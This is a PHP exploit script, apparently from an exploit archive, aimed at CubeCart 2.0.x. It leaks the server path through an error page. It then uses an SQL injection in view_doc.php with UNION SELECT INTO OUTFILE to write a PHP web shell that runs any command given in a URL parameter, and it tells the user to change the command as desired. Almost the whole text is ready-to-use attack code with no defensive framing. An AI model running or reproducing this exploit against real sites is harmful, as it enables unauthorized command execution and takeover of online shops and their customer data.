/***************************************/

Exploit :-

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* CubeCart Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
/*
/* Tested on CubeCart 2.0.X  and maybe other versions are injected
*/
print_r('
/**********************************************/
/*   CubeCart Remote sql injection exploit    */
/*     by HACKERS PAL <security@soqor.net>    */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*  php '.$argv[0].' http://localhost/CubeCart/
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit1="/cat_navi.php";
         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $page = get_page($url.$exploit1);

             $pa=explode("<b>",$page);
             $pa=explode("</b>",$pa[2]);
             $path = str_replace("cat_navi.php","",$pa[0])."soqor.php";
             $var='\ ';
             $var  = str_replace(" ","",$var);
             $path = str_replace($var,"/",$path);
             $exploit2="/view_doc.php?view_doc=-1'%20union%20select%20'<?php%20system(".'$_GET[cmd]'.");%20?>','WwW.SoQoR
.NeT'%20INTO%20OUTFILE%20'$path'%20from%20store_docs/*";
     $page_now = get_page($url.$exploit2);
     if(ereg("mysql_fetch_array()",$page_now))
     {
          $newurl=$url."/soqor.php?cmd=id";
          Echo "\n[+] Go TO ".str_replace("//","/",$newurl)."\n[+] Change id to any command you want :)";
     }
     else
     {
          Echo "\n[-] Exploit Faild";
     }
     Die("\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");

?>